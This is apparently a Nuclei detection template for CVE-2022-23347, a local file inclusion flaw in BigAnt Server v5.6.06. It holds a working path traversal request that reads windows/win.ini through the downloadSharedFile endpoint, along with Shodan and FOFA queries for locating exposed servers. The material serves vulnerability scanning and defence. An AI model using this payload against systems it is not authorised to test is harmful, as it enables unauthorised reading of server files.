id: CVE-2022-23347

info:
  name: BigAnt Server v5.6.06 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: BigAnt Server v5.6.06 is vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in BigAnt Server v5.6.06.
  reference:
    - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23347
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23347
    - http://bigant.com
    - https://www.bigantsoft.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-23347
    cwe-id: CWE-22
    epss-score: 0.11993
    epss-percentile: 0.95706
    cpe: cpe:2.3:a:bigantsoft:bigant_server:5.6.06:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bigantsoft
    product: bigant_server
    shodan-query:
      - http.html:"BigAnt"
      - http.html:"bigant"
    fofa-query: body="bigant"
  tags: cve,cve2022,bigant,lfi,bigantsoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009c3f4857e4c229ab9c04a02e454e7b7581e9bad44d29a82409bc02bd3eaa117602202be3356b7f6cc020e16b60bff1b2ffa632b3bce2b2e59e3da67d1e877e0ff6d4:922c64590222798bb761d5b6d8e72950